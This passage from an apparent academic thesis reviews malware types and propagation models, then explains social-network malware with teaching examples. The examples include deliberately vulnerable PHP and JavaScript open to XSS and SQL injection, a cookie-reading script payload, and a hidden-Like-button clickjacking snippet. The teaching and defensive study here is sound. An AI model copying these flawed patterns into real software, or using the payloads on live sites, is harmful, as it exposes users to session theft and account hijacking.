p edges in the graph on average, one can generate a graph

with n nodes and |E| edges by calculating the value of p from the following equation:

p ≈ |E|(
n

2

) (2.3)

Having probability p given by Equation (2.3), one can generate a graph with n nodes

and approximately |E| edges.

Random Rewiring and the Algorithm by the Viger-Latapy

To evaluate the impacts of clustering coefficients on malware propagation, we must keep

the other parameters of a graph such as the maximum and average node degrees constant

while varying the clustering coefficient. We call a random graph generated from an existing

OSN graph an equivalent random graph (ERG). Given an OSN graph, an ERG with the
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same node degree distribution can be generated using random rewiring or the algorithm

proposed by Viger and Latapy [3].

In the random rewiring scheme, we randomly select a pair of edges and replace the

edges by another pair as shown in Figure 2.5. The random selection and the replacement

are done until we obtain the desired clustering coefficient or the clustering coefficient does

not change after a certain number of substitutions.

A

DC

B A

DC

B

Figure 2.5: Random rewiring technique to generate equivalent random graphs [3]

In many cases we are interested in generating random graphs with a given degree dis-

tribution. The algorithm proposed by Viger and Latapy [3] generates equivalent random

graphs with given degree distributions. Such a random graph has the same degree distribu-

tion as the original network graph, but different characteristics such as a different clustering

coefficient, average shortest path length or network diameter.

Table 2.1 shows the parameters of an example random equivalent graph generated by

the algorithm by Viger and Latapy and having the same degree distribution as the OSN

graph generated earlier by the Holme-Beom algorithm. Following are some observations

obtained from comparing the ERG and the corresponding OSN graph (Table 1). The

average clustering coefficient of the original OSN graph is about 40 times higher than that

of the ERG, 0.14 vs. 0.0035. This reflects the high clustering characteristic of OSNs. Also,

the average shortest path length of the original OSN graph is longer than that of the ERG,

5.13 vs. 4.4. The network diameter of the OSN is 10 hops compared to eight hops in the

ERG. These differences reflect the small-world phenomenon of social networks described by

Watts [52].

In the next chapter, we will review different malware classification approaches to identify

different types of OSN malware.

2.2 Computer Malware

In this chapter, we first discuss different malware classification approaches used to categorize

identified malware. Furthermore, we discuss a general malware lifecycle, which helps us
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better understand the propagation of a malware. We review existing malware in the wild,

including scanning worms, email worms, peer-to-peer worms, smartphone malware, web

malware and OSN malware. For each type of malware, we discuss the techniques used to

model the propagation. Malware propagation models help to identify malware dynamics,

which in turn can be used to develop protection/detection countermeasures [5, 23].

2.2.1 Malware Classification

Cyber criminals design malware for different purposes, which include but are not limited

to stealing sensitive information, sabotaging cyber controlled infrastructures, disrupting

Internet services and extorting money. Malware can be classified based on different criteria,

including the way a malware finds its targets the way a malware infects its targets and

delivers the payload, and the actual intent of the malware. Payload is the malicious code

delivered to the infected machine after it gets compromised. We now discuss each type of

classification.

Classification based on how a malware finds its target

Depending on the mechanism based on which malware finds their targets, researchers

broadly classify them into two different categories: scanning-based (random) and topologically-

based propagation [59]. Scanning worms are a type of scanning malware that propagates

through vulnerable services. They randomly choose their targets and send malicious pay-

loads to the targets. Among well-known scanning worms are Blaster [60] and Slammer [61]

which could infect hundreds of thousands of systems in a short period of time (less than 10

minutes). Topologically-based malware relies on the topology of the network to propagate.

For instance, a malware that the propagates through emails relies on each person’s address

book to reach other people. In this case, the topology that the malware follows is the topol-

ogy of the corresponding graph formed by contacts present in each infected individual’s

mail box or address book.

Classification based on the way a malware infects its targets

Depending on how malware delivers malicious code and infects their targets, they can

be classified into two different categories: passive and active. Active malware actively

seeks potential targets to infect. Malware that propagates through scanning vulnerabilities

belongs to this category. For instance, Slammer is an active malware [61] that spreads by

exploiting a MS-SQL vulnerability. On the other hand, passive malware sits at infectious
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hosts and waits for a victim to download and execute the malicious code. Examples are

rogue anti-viruses that are delivered to user while they are visiting a malicious website.

Classification based on malware intent

From the intent perspective, the most common groups of malware are Trojan horses, viruses

and worms [62]. A Trojan horse disguises itself as a benign program in order to access

and install malicious code on its victims’ computers. Trojans, normally requires users’

interaction to be installed on the target system. A typical example for a Trojan is fake

antivirus software (often delivered in a widespread campaign). While a user is browsing

the web, a pop-up message is displayed to him/her that shows a virus scan is in progress.

After the scan finishes, the report would display a message that the computer is infected

and the user is encouraged to download a (fake) anti-virus software. This anti-virus itself is

actually a malware disguised to the user as a benign software [63]. Thus, a rogue anti-virus

is normally categorized as a Trojan horse.

Virus is a self-replicating malware that copies itself into other executable files in the

file system. The executable file that the virus attaches to, is called “host” file. Virus

gets executed whenever the host file is executed. Viruses reside locally on the system and

are not normally propagated via network. Chernobyl [64] is a well-known computer virus

that copies itself into the unused space of a file, leaving the file size intact after infection.

Chernobyl was the first malware ever that attacked hardware components, the computer

Basic Input Output System (BIOS) which controls the computer system operations [64].

Unlike viruses, worms do not infect local files, i.e. they are standalone software and

are not “host” dependent. Worms replicate themselves in networks via a communication

channel such as email, P2P networks, or social networks. Blaster [60] and Slammer [61] are

two well-known computer worms.

There are other types of malware that are normally seen in combination with Trojan

malware and worms. Downloaders/droppers are a form of malware that downloads (from a

remote website) and installs other malicious payloads after they have infected the system.

Downloaders/droppers are normally part of a Trojan payload. They help the attacker to

download large payloads in the background to avoid user’s attention [62].

Backdoors are another type of malware that provide unauthorized access. The attacker

uses a backdoor to control an infected system when needed. These controllable infected

hosts are dubbed “bots” short for robots, since they do not have control over themselves

and are controlled by the attacker (also know as botmaster). The network of bots is called
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a botnet [62].

A typical malware may borrow features from different categories. For instance, a Trojan

horse can be delivered through a website but gets propagated through a network (like a

worm). Both Trojan horses and worms may open a backdoor at the time they infect their

hosts. This type of malware that combines different features is called hybrid malware.

2.2.2 Malware Propagation Lifecycle

Regardless of their classification, all types of malware normally follow a similar lifecycle,

illustrated in Figure 2.6. In this cycle, after a host gets infected, it becomes infectious and

attempts to deliver the malware to other hosts. First a malware attempts to select a set

of potential targets. After selecting the targets, the malware tries to deliver the malicious

code to each of the potential targets. In order to become infected, the malicious code needs

to be executed on the target host.

Malware can pave the path for delivering other malicious code into the newly infected

target. Some types will deliver payloads after infecting their hosts and the others, at

the same time they infect the hosts. If the malware requires additional payloads, the

malware fetches them from the attacker’s designated server(s) and executes them by itself.

Otherwise, the newly infected node becomes a new source of infection and follows the same

cycle discussed above.

2.2.3 Existing Malware Propagation Models

Researchers create models in attempts to study and understand malware behaviors. Model-

ing effective malware propagation helps us better understand malware dynamics to develop

effective countermeasures.

In any type of malware propagation modeling, there are three potential states for each

host: susceptible (S), infectious (I) and removed (R). A susceptible host is a host that is

vulnerable to malware infection. An infectious host is a host that became infected and may

potentially infect other hosts. A removed host is a host that is either patched out of the

vulnerability or unable to be infected due to a defensive mechanism existing on the system

(e.g., having an antivirus able to detect the malware). Some researchers distinguish between

“removed” and “immune”. A system that was shut down is considered removed. A system

that is still active but with antivirus installed is considered immune.

In the following subsections, we review existing propagation models.
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Figure 2.6: A general lifecycle of a malware

Scanning Worms

Scanning worms are a type of malware that propagates through vulnerable services. One

of the key differences between scanning worms and other types of worms is that scanning

worms do not rely on the topology of the underlying network to propagate. These malware

pick their targets randomly and send scanning probes to determine whether a target is

vulnerable or not. Malware chooses targets from the available public IP space and/or from

the local IP space. Code Red, Slammer, Sasser, and Conficker are the notable examples of

scanning worms [61,62,65].

The propagation of scanning worms is limited to the potential number of vulnerable

hosts, reachable from the initially infected system. For instance, Slammer infected its

potential targets in about 10 minutes. That was 75,000 SQL servers or about 90% of the

routable SQL servers at that time [61]. If the malware had been able to reach non-routable
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IPs, this number would have been higher. Many of the generated scanning probes may

run into a stone wall as the generated IP addresses may not be routable. Assuming the

population of the Code Red malware is about 360,000 [66] the chance of hitting a vulnerable

host is equal to 360,000
232

≈ 8.3×10−5. That means that many of the sent probes did not even

reach vulnerable hosts. Therefore, propagation by pure random scanning is not efficient

from an attacker’s point of view.

Chen et al. [67] present a model called Analytical Active Worm Propagation (AAWP)

to model random scanning worms. To do this, they consider the whole IPv4 space a

homogeneous network. (In a homogeneous network, every node has the same degree and

is accessible from every other node in the network). Each IP address is accessible with an

equal likelihood. Therefore, each IP can be chosen with a probability of 2−32.

Researchers have suggested algorithms to improve the overall propagation of random

scanning worms. Zoe et al. [68] present a Border Gateway Protocol (BGP) routable worm

that targets only routable IPs. The worm algorithm improves the propagation speed and

target selection over random scanning worms. Moreover, some malware creators choose

to preload their malware with a set of reachable IP addresses (a hit list) to speed up the

propagation in the early stages [69].

The classical simple epidemic model - the underlying model for epidemic studies - has

been used to model the propagation of scanning worms. In the classical simple epidemic

model, the population of the hosts is constant over time and each host is either infectious

(I) or susceptible (S) [65]. Thus, this model is also called the SI model. The following

equation defines the SI model:

dI(t)

dt
= βI(t) [N − I(t)] (2.4)

where I(t) is the number of infectious hosts at time t; β is the infection rate; and N is

the total number of hosts in the network. Let I(0) = i0 represent the initial number of

infectious hosts at t = 0. Thus we have:

I(t) =
i0N

i0 + (N − i0)e−βt
(2.5)

Let us define the number of susceptible hosts as S(t) = N − I(t). Therefore we have:

dS(t)

dt
= −βS(t) [N − S(t)] (2.6)

If the infectious host can be removed (patched, shut down, or quarantined), the model

is called susceptible infected recovered (SIR) [65]. To define the SIR model, Let S(t) denote
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the number of Susceptible hosts at time t, I(t) denotes the number of infectious hosts at

time t, and R(t) denotes the number of removed hosts at time t. In the SIR model, the

population of the hosts is assumed constant over time. The following equations describe

the SIR model [65].

N = S(t) + I(t) +R(t) (2.7)

Based on the SIR model we obtain:

dS(t)

dt
= −βS(t)I(t)

dI(t)

dt
= βS(t)I(t)− γI(t)

dR(t)

dt
= γI(t) (2.8)

where β is the infection rate and γ is the rate of removing infected hosts from the population.

Equations (2.7) and (2.8) form the SIR model. Initial number of susceptible hosts plays an

important role in the propagation dynamics. Let R0 denote the epidemiological threshold.

For dI(t)
dt to be positive for all the time, i.e. having an epidemic or an outbreak we should

have:

dI(t)

dt
> 0

βS(t)I(t)− γI(t) > 0

S(t) >
γ

β
(2.9)

Equation (2.9) shows that an outbreak can only happen if and only if S(t) > γ
β . Since no

new susceptible host is generated over time, the S(t) is a monotonically decreasing function

over time. If at the beginning of propagation (t0), S(t0) < γ
β therefore dI(t)

dt < 0 for all time

t > t0, i.e. there will be no epidemic or outbreak [65].

Chen and Jin [25] defined a spatial-temporal random process to describe the statistical

dependency of malware propagation in space and time. Temporal dependency means that

the state of each node at time t, depends on the state of the node at time t − 1. Spatial

dependency means that the state of each node at time t depends also on the state of the

node’s neighbors at time t− 1.

To model the propagation of the scanning malware in a network, Chen and Jin assume

an SIS model which combines the infection and recovery states as shown in the Markov

chain shown below.

Each state in this Markov Chain is denoted by random variable Xi(t), which is defined

as follows:
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0 11− βi(t)

δi(t)

1− δi(t)

βi(t)

Xi(t) =

1, if node i is infected at time t

0 if node i is susceptible at time t
(2.10)

Given a network topology, let define βij denote the birth rate at which node j becomes

infected from node i, and δi, the death rate at which an infected node i becomes susceptible.

Since each node can only be infected via their neighbors, statistically Xi(t) is dependent on

Xi(t− 1) and Xj(t− 1), where j represents the set of all neighbors of i, Ni (∀jf ∈ Ni).

Assuming that vector X(t) represents the status of all nodes in the network, i.e.,

{X1(t), X2(t), . . . , XM (t)}, then X(t) is a spatial-temporal stochastic process. Let us define

βi(t) for node i as the probability of getting infected from the neighbors as follows:

βi(t) = 1−
∏
j∈Ni

(1− βij)xj(t) (2.11)

where xj(t) is the realization of j’s status, i.e., it can be 0 or 1. Thus we have:

P (Xi(t+ 1)) = 0|Xi(t) = 1) = δi (2.12)

P (Xi(t+ 1)) = 1|Xi(t) = 0,XNi(t) = xNi(t)) = βi(t) (2.13)

Vector XNi denotes the status of all neighbors of node i at time t. xNi is the realization of

XNi .

Let us define the probability of node i recovery as Ri(t) = P (Xi(t+ 1) = 0, Xi(t) = 1),

thus we have:

Ri(t) = δiP (Xi(t) = 1) (2.14)

To calculate the probability of node i becoming infected at time t, we need to calculate

the probability of node i staying in the susceptible state. Using the law of total probability,

we can calculate the probability of node i becoming infected at time t. To do this, we define

Si(t) as the probability of being susceptible at time t and staying susceptible at time t+ 1,

which is formulated as follows:
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Si(t) = P (Xi(t+ 1) = 0|Xi(t) = 0) =
∑
xNi

[P (XNi = xNi |Xi(t) = 0)(1− βi(t))] (2.15)

Therefore, we have:

P (Xi(t+ 1) = 1) = 1−Ri(t)− P (Xi(t) = 0)Si(t) (2.16)

Equations (2.14), (2.16), (2.15) form Chen’s and Ji’s statistical model for scanning

worm propagation in topological environments, which is characterized by spatial temporal

dependencies.

Random scanning worms are one type of scanning malware. In the following subsections,

we will discuss different topological-based malware and their models.

Email Malware

Email malware is a type of topological malware that propagates through email networks.

This means that email malware follows a topological path to infect their targets. Malware in

this category normally infects network hosts and will propagate through the network. Thus,

they can be categorized as worms. Once a user receives an email worm as an attachment,

she may open it and become infected. The worm then tries to harvest every contact in the

mailing list and sends a copy of itself to each contact. This way the worm propagates using

the contacts in the email address book of the infected person. Melissa is known to be the

first email worm, which propagated on the Internet back in 1999 [23].

Datta and Wang [38] studied the propagation of email worms in small-world networks.

They evaluated the impacts of users’ probability of clicking on malicious links or email

attachments, and the speed at which viruses are removed from infected hosts on the prop-

agation of email worms. The simulation results show that user awareness (i.e., low click

probability) helps to significantly contain the propagation of email worms. Furthermore,

viruses must be removed almost immediately from a small-world network in order to stop

their propagation. Delay in virus removal, however short, will render antivirus software

ineffective.

Zou et al [23] use simulations to study the propagation of an email worm in a power-law

network. As discussed in Chapter 2.1 in a power-law network, the distribution of nodes with

degree k is proportional to kα, where α is called the power-law exponent. The power-law

distribution of email networks was observed in a sample of 800,000 Yahoo emails. An email

network is a directed graph in which each vertex represents an email user, and a directed
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edge from vertex A to vertex B means that user B’s email address is in user A’s address

book.

For their simulation settings, they generated an undirected power-law network with

100,000 nodes and a power-law exponent of α = 1.7. The average degree for this network

is 8. The highest degree is 1,833 and the lowest degree is 3. Zou et al. also generated

a random graph and a small world graph to compare the email worm propagation from a

topology perspective. Random graph helps to better understand the impact of power-law

degree distribution in malware propagation. They observed that email worms propagate

faster in power-law networks than in small-world and random networks.

In their simulations, users open the malicious attachment and get infected with proba-

bility C ∼ N(0.5, 0.32), a normal distribution with a mean of 0.5 and a variance of 0.32. The

average email checking time for each user (T) follows a normal distribution T ∼ N(40, 202)

with a mean of 40 and a variance of 202. If a user opens the malicious attachment, the

malware sends itself to all contacts associated with that user (i.e., the neighbors in the

email network graph). Thus, the email checking time plays an important role in the worm

propagation speed. The authors observed that the constant checking time leads to slower

email worm propagation compared to hyperexponential, exponential and 3rd-order Erlang

distribution with the same mean value.

Peer-to-Peer Malware

Malware can also propagate through peer-to-peer (P2P) file sharing systems. Users typically

use file sharing systems to share digital contents. Cyber criminals leverage this fact and

insert their malware into legitimate software, e.g., serial number generators (KeyGens) [70,

71]. Gotorm and Achar, two well-known malware that propagate through P2P systems [71]

copy themselves into multiple files with predefined names for further propagation. Another

malware called Krepper chooses file names randomly from a large pool of names. Liang

et al. [71] indicate that the number of malicious copies for popular items such as box

office movies, software such as Microsoft Windows is substantial (in the order of tens or

hundreds) [72].

Thommes et al. [71] propose a formal model for malware propagation through P2P

systems. To model the propagation of P2P malware (that are typically categorized under

computer worms), Thommes et al. assume an extra state called exposed (E) in addition to

susceptible (S), infected (I) and removed (R). In the exposed state, hosts have downloaded

a malicious file, but have not executed it. The following equations describe Thommes et
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al.’s peer-to-peer malware propagation model:

dI(t)

dt
= −λRI(t) + λEE(t), (2.17)

dE(t)

dt
= −λEE(t) + λSS(t)h(t), (2.18)

dS(t)

dt
= −λSS(t) + λRI(t) (2.19)

where I(t), E(t) and S(t) denote the total number of infectious, exposed and susceptible

nodes at time t, respectively. λR, λE , and λS denote the average recovery rate, the aver-

age execution rate and the average download rate, respectively. h(t) is the probability of

opening/executing an infected file that has been downloaded.

Passive Web Hosted Malware

The world wide web has the largest potential number of targets. Applications are being

delivered through the web, including cloud applications, social networks and video stream-

ing services. People also use the web for tasks that used to require physical presence such

as banking, shopping and government services. Therefore, the population of potential vic-

tims of web-based malware is much larger than that of other types of malware due to the

popularity of the world wide web.

Researchers mainly focus on passively propagated malware in the web that could form

large botnets. Provos et al. [73] found a large number of websites that host passive malware

that infect visiting users. Many of the malware install themselves using drive-by-download

techniques. The malware installs itself by exploiting an existing vulnerability in the browser

component. This requires the attacker to lure the victim into visiting a web page, specially

crafted by the attacker to exploit that vulnerability. Users’ infected machines will form a

botnet that can be leveraged by the attacker to perform other types of malicious activities

such as performing denial of service (DoS) attacks.

2.3 OSN Malware

In this chapter, we discuss the main characteristics of different types of malware propagating

through OSNs. Currently, There are two major types of malware that target online social

network users: cross-site scripting worm and Trojan. Trojans are the most common method

used to launch attacks against OSNs users, who are tricked into visiting malicious websites

and subsequently downloading malware disguised as legitimate software (e.g., Adobe Flash
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Player). There are many variants of Trojans operating in OSNs, including clickjacking

worms [15] and extension-based malware [16]. Along with these malware threats, OSN

users may fall for scam posts which lures users to perform actions such as installing an OSN

application [74] which is used to spread more scams. The difference between the social

scams and Trojan is that, social scams are contained within the OSN itself (mostly OSN

applications) and does not compromise the victim’s system. Therefore, at any moment, the

OSN network would have the ability to remove the installed OSN application and reinstan-

tiate the compromised accounts. For each malware, we review the underlying vulnerabilities

that help the malware to propagate through social networks.

2.3.1 Cross Site Scripting Worms

Cross-site scripting worms exploit software vulnerabilities that exist in web applications.

Cross site scripting, also known as XSS, is a security flaw to which many web applications

are vulnerable [11, 75]. In 2013, XSS was listed among the top three web application

vulnerabilities as reported by the Open Web Application Security Project (OWASP) [75].

Combinations of XSS flaws with other web development techniques lead to XSS worms.

While XSS is a common vulnerability in web applications, its threat is realized by a combi-

nation of HTML and Asynchronous JavaScript and XML (AJAX). AJAX allows a browser

to issue HTTP requests on behalf of the user. Thus, there is no need for an attacker to

trick the user into clicking a malicious link. AJAX provides a sufficient technology for the

attacker to perform actions on behalf of a user, making self-propagation an easy task.

OSNs are also prone to XSS. XSS has been found in many social networks platforms

and their open APIs (Application Programming Interface). Samy is the first ever XSS

worm, which propagated in the popular OSN MySpace in 2005 [11]. This XSS malware

did infect more than one million users in less than 24 hours. Zhang et al. [76] studied XSS

vulnerabilities of APIs in OSNs and were able to find several serious flaws in eleven popular

OSNs. These APIs can be used by cyber criminals to develop malicious applications that

exploit XSS to steal users’ sensitive information.

XSS flaws in a social network provide cyber criminals with opportunities to develop XSS

worms. A XSS worm infects members of a social network in two steps. The worm creator

first adds the malicious payload to her user profile, e.g., in the form of a link. Subsequently,

any person who visits this profile will get infected and the malicious payload will be added

to the visitor’s profile, thanks to the available AJAX technology and the existing XSS flaw.

The visitor’s profile then becomes infected, which allows the worm to propagate one step
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Listing 2.1: A PHP code snippet for greeting the user and prompting the for user’s comments

1 //The user’s name is passed to application as part of a Get request

2 echo "Hello ".$_GET[’name’]."<br>";

3 //form that asks for the user’s comment

4 echo "<form action = \"addcomment.php\">";

5 echo " Enter your comment here <br>";

6 echo "<input type="textbox" id=\"commentbox\">";

7 echo "<input type=\"submit\">";

8 echo "</form>";

9 //fetching previous comments

10 $result = db_query(’SELECT comment FROM Comment’);

11 while ( $previouscomment = db_fetch_array($result) ) {

12 echo $row[’comment’]."</br>";

13 }

further [30,32].

There exist three main XSS vulnerabilities, namely stored XSS, reflected XSS and DOM-

based XSS. To better understand each vulnerability in detail, we present an example of a

simple vulnerable application in the following section.

Example: A Vulnerable Blogging Application

Before describing the details of the vulnerabilities, we present an example of a simple

vulnerable blogging application. This example will help to illustrate the process of exploiting

the three XSS vulnerabilities. In this application, assume a user can leave comments on

a blog post and see what other people have already commented about that post. Upon

submission of a comment, the name of the commenter is also passed to the application as

part of a GET value through a URL. The piece of code shown in Listing 1 shows a PHP

file that includes a greeting to the user (line 2), a form that asks for comments (line 6),

and the code that prints out the previous comments (line 12). The name is passed through

the GET parameter “name” (on line 2). The comment is passed to a PHP file for further

processing. This PHP file “addcomment.php” processes the form, as shown on lines 4 to

8. Lines 10 to 13 of this list show how the previous comments are being printed out on the

web page.

The “addcomment.php” file (see Listing 2) gets the values that are passed to the appli-
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Listing 2.2: A PHP code snippet that inserts the passed comment into database (DB)

1 <?php

2 //Creating the query

3 $sql = "INSERT INTO Comments (com) VALUES ($_POST[’comment’])";

4 // Executing the query

5 $conn->query($sql);

6 // Closing the DB

7 $conn->close();

8 ?>

cation and creates an entry for the comment. These comments will be retrieved (fetched)

later when the user opens the blog post (lines 10 to 13 in Listing 1).

We now show how the above application is exploited by XSS vulnerabilities.

XSS Vulnerabilities

XSS can be exploited by a remote attacker in three different ways: stored, reflected and

document object model (DOM)-based attacks [75]. In a stored attack (also known as

persistent attack), the injected script is permanently stored in a database and will be

retrieved by future victims. Reflected attacks (also known as non-persistent attacks) are

the most common type of XSS attacks. In this case, the injected code is sent back to the

visitor by the server in an error message, a search result, or any other type of response

that reflects some or all of the user’s input in the result. In DOM-based XSS attacks, the

attacker maliciously crafts a request that modifies a document object. This can be done

via client side scripting and does not require the server to reflect the payload via a response

page.

To protect against XSS, application developers would need to sanitize every input that

comes from the user. Improper input validation enables attacker to exploit XSS vulnerabil-

ity. Improper sanitization is a serious problem for giant software companies such as Google

as they handle millions of users’ queries/requests every day [77].

Stored XSS

In a stored attack (also known as a persistent attack), the injected code is permanently

stored on the target server. The malicious code can be injected through a comment field,

message forum, or any other textual input. This input stays on the website database and

35



will be retrieved by users. Stored XSS is named after the fact that the malicious script is

stored in a database (DB).

We now discuss how stored XSS can be exploited in the example vulnerable blogging

application described earlier. If a malicious user posts a malicious script instead of a com-

ment to the application, this script will be passed into file “addcomment.php” and will be

stored in the application database (see line 3 in Listing 2). Every time a user visits this

blog post, the malicious code will be retrieved from the database (see line 11 in Listing 1)

and gets executed by the visitor’s browser. The number of malicious payloads that can be

executed by exploiting this vulnerability is unlimited. This vulnerability has the potential

to open a backdoor on all visitors’ computers and connect to a command and control server

to perform other malicious activities [73, 78] such as spying on a user’s browser habits or

performing a denial of service attack from the victim’s computer.

Reflected XSS

Reflected XSS is the most common type of XSS [79]. With this type of vulnerability, the

script only gets reflected to the user and it will not be kept in a database. For instance, a

malicious user passes a script to the GET parameter “name” as shown below,

?name=<script>alert(document.cookie)</script>

The browser then reflects this script in the response HTML (see line 2 of Listing 1), which

prints out the user’s name.

For a XSS payload to be reflected, the request has to go the server, gets processed and

then be returned in the response.

DOM-based XSS

Unlike the above two XSS types, DOM based XSS does not require the server to process

the request. A vulnerability in the client’s script may lead to a DOM-based XSS attack.

We now discuss how DOM-based XSS can be exploited in the example of the vulnerable

blogging application. Instead of line 2 in Listing 1, we use the following JavaScript to read

the value passed to the parameter “name”. In Listing 3, the first line sets the position of

the substring reader method to the beginning of the passed value. On line 2, this value is

being written into the HTML code.

1 var pos=document.URL.indexOf("name=")+5;

2 document.write(document.URL.substring(pos,document.URL.length));
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If a malicious user passes a malicious script into the parameter “name” value, the snippet

listed in Listing 3 will return the value of “name” parameter in the HTML response. This

simply means the malicious script will be executed by the user.

The main difference between DOM-based XSS and reflected XSS is that the request in

DOM-based XSS does not need to go the server to be reflected on the page. It can be

written using the HTML document object.

2.3.2 Trojan Malware

Trojan malware in OSNs surfaced less than 10 years ago. The best known OSN Trojan

is Koobface [31, 80] which was first detected in 2008. It spread in both MySpace and

Facebook by sending messages carrying interesting topics using social engineering techniques

to deceive people into opening messages sent via social networks. Such a message directed

the victims to a third-party website unaffiliated with Facebook where they were prompted

to download what was claimed to be an update of the Flash player. If they downloaded and

executed the file, they would infect their computers with Koobface. An infected machine

turned into a zombie or a bot, which was controlled by one or more botmasters. Moreover,

the owner of the infected profile unknowingly sent out messages to all people on his/her

friend list, allowing the Trojan horse to propagate further in the social network.

Researchers have studied the behaviors of Koobface. Thomas and Nicol [31] explored

the Koobface zombie infrastructure and monitored its activities. They emulated a Koob-

face zombie in order to infiltrate into the botnet. They were able to identify fraudulent

accounts that distributed malicious links to more than 200,000 users. In addition to send-

ing malicious messages to infected users’ friends to further propagate the malware, each

infected host performs several other tasks, such as account generation, URL obfuscation

and CAPTCHA solving to facilitate the propagation [31] (CAPTCHA, which stands for

“Completely Automated Public Turing test to tell Computers and Humans Apart”, is a

challenge and response test to identify if the user is human or not.)

Koobface relies on users’ awareness for propagation. The impact of Koobface could be

worse if users had no control over the malware installation. Every time a user sees the

malicious link, he/she has the option to follow the malicious link or just ignore the link.

Nevertheless, there could be a drive-by-download vulnerability exploit embedded in the

malicious page. In that case the user could get infected only by visiting a web page. This

approach resulted in more infections compared to the original Koobface propagation.
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2.3.3 Extension Malware

Attackers have recently shifted their technique to installing browser extensions. Browser

extensions are normally available from browser stores (e.g., Chrome web store, Firefox

add-on). Attackers design malicious browser extensions and put them into the browser

stores. Uninformed users may fall for this trick and install the malicious browser extensions.

Normally security products fail to protect against malicious browser extensions. Browser

extension attacks are serious attacks as they can intercept user’s encrypted traffic at the

application layer and compromise the integrity of users’ transactions.

A malicious browser extension is able to perform actions on behalf of the user. Malicious

browser extensions are able to sit between the user and the browser, modifying the browser’s

traffic (encrypted or unencrypted). Browser extensions can intercept the user’s requests to

the server and the server’s responses back to the user for malicious purposes. Although

social networks send information through an encrypted channel (i.e., HTTPS), a malicious

extension is able to see the plain text because it works above the encryption layer. Figure

2.7 shows such an intercepted message, captured at the time a user was sending the following

message “This is a sample message to a friend while performing a man in the middle attack”.

The message is highlighted in Figure 2.7.

2.3.4 Magnet Malware

On January 28, 2015, we observed a suspicious behavior on a Facebook post where an

(infected) user unknowingly tagged up to 20 of her friends in an adult photo post. Clicking

on the picture resulted in a browser redirection to “http://videooizleyin.com/video/” where

an adult video was shown for a few seconds. The video then paused, asking the user to

download a “player” in order to continue watching the paused video. The downloaded

“player” software was indeed a Trojan malware named “Magnet” [41].

After a successful infection via the download and installation of the fake player program,

the malware modifies existing browsers on the infected system in order to control the user’s

web access. The modified browser comes with an extension that acts similarly to the

malicious extension discussed in Subsection 2.3.3.

Magnet uses a unique technique to expedite its propagation on social networks which

have not been observed in any other OSN malware before. Traditional Trojans send ma-

licious links/messages to friends directly connected to an infected user u (i.e., u’s one-hop

neighbors in the network graph). Magnet can send malicious links/messages not only to the

infected user’s friends but also to their friends (i.e., u’s two-hop neighbors). This mechanism
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significantly speeds up the propagation process of the malware.

Figure 2.7: Performing a man-in-the-middle attack on the encrypted traffic

User awareness plays an important role in preventing both extension and Trojan malware

propagation. Users have more control over the propagation of Trojan horses and malicious

extensions than over XSS worms, because they have the choice and the ability to not follow

Trojan links or install malicious extensions. In summary, user education plays an important

role in limiting the propagation of these types of malware.
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2.3.5 Clickjacking Malware

Exploiting an existing functionality in HTML can lead to a vulnerability called clickjacking.

Clickjacking is a technique that attackers use to hide an overlay to deceive people into

interacting with something other than what users think that they are interacting with. The

hiding of an overlay inherently exists in HTML and is used by web developers to display

login windows or to hide textual contents.

Following is an example of a simple exploit web page. Listing 3 shows a code snippet in

which a malicious user embeds a YouTube video with a playback button (see part 1, lines 2

and 3). Next, the attacker places a Facebook “Like” button on top of the playback button

(see part 2, lines 4 and 5). The attacker deliberately hides the “Like” button so that when

users try to play the video, they unknowingly click on the “Like” button and “Like” the

page hosted at “currentsite.com/currentpage.html”.

This vulnerability can be exploited to propagate malicious likejackers in Facebook. To

perform a clickjacking or likejacking attack, an attacker first creates fake profiles to infiltrate

into a social network. Using the fake profiles, they try to befriend as many real users as

possible in order to spread a malware as widely and quickly as possible. The attacker then

creates an enticing web page to lure people into viewing them. This web page may contain,

for example, latest updates on breaking news, gossips on celebrities, exclusive video clips,

or promotional items (e.g., coupons and free gift cards, which may or may not be given

out). The attacker then clicks on the “Like” button, which posts a link to the spam site

containing the video to the attacker’s news feed. When his friends see the “Like” post, they

will click on the link, which leads them to the video. When a friend clicks on the playback

button to view the video, she is actually clicking on the “Like” button (see Figure 2.8).

Her friends will see the (unintended) recommendation posted on their news feed and follow

the same link. This process continues until the malware is detected and removed, or the

attacker stops the propagation himself.

Figure 2.8: Clickjacking technique used to spread spam messages that may lead to malicious

software
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The impacts of clickjacking worms can range from benign to harmful. When a user

unknowingly visits a web site, the attacker can make money through affiliated advertising

programs. The more people “like” and subsequently visit the page, the more profit the

attacker makes. A clickjacking worm can also trick users into enabling their webcams,

invading their privacy [15]. In more serious attacks, clickjacking worms can redirect people

to malicious web pages that host malware, which will be installed on the victims’ computers

using drive-by-download techniques.

Listing 2.3: Clickjacking worm code snippet

1 <--! Part1: Showing the video underneath the hidden like button -->

2 <iframe width="640" height="410" frameborder="0" allowfullscreen=""

allowtransparency="true" src="Youtube.com/avideo.html" style="z-index:-1">

3

4 <--! Part2: Making the like button hide and put it on top of the play button -->

5 <fb:like id="fblike" href="currentsite.com/currentpage.html"

style="opacity:0;filter:alpha(opacity=0);">

Facebook recently implemented some countermeasures to combat clickjacking worms. If

the URL of a web page is deemed suspicious, Facebook will ask a user to confirm their

“Like” action before a recommendation (and thus the spam link) is posted on the user’s

news feed. This countermeasure can prevent clickjacking malware from self propagating

in some cases (e.g., well known malicious web sites that are black listed). Web sites or

applications registered with Facebook are deemed legitimate and are not subject to “Like”

action confirmation. Therefore, an attacker could register an application or web page to

make it legitimate, and put the registration ID in the script in order to bypass the screening

for “Like” confirmation. (Registering an application requires the attacker’s personal infor-

mation such as name, phone number and mailing address. Stolen personal information can

be bought cheaply on the black market.)

Clickjacking worms could be combined with Trojan malware to create a new hybrid type

but, to the best of our knowledge, no such malware has been created or deployed yet.

2.4 Existing Studies on OSN Malware

OSN malware has only been investigated recently [28–30,32,34,36]. Among the first works

on malware propagation in online social networks are [28, 30, 32]. Faghani and Saidi [32]

modeled XSS worm propagation using the susceptible-infected (SI) model. They define a
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parameter called ”visiting-friends probability” and measure its impact on malware propa-

gation. They showed that the more often users visit their friends versus strangers’ profiles

(higher visiting-friend probability), the more slowly a malware propagates. Their proposed

model shows that the infection rate is inversely proportional to the visiting-friends prob-

ability. They also present simulation results of malware propagation speed as functions

of the visiting-friends probability and the initial number of infections [32]. They used SI

model does not consider the spatial-temporal dependencies between the nodes, leading to

over estimation of infected nodes in the network.

Faghani and Saidi [29] use simulations to show that the higher the probability that a

user will click on malicious links, the faster a malware will propagate. The spread rate of

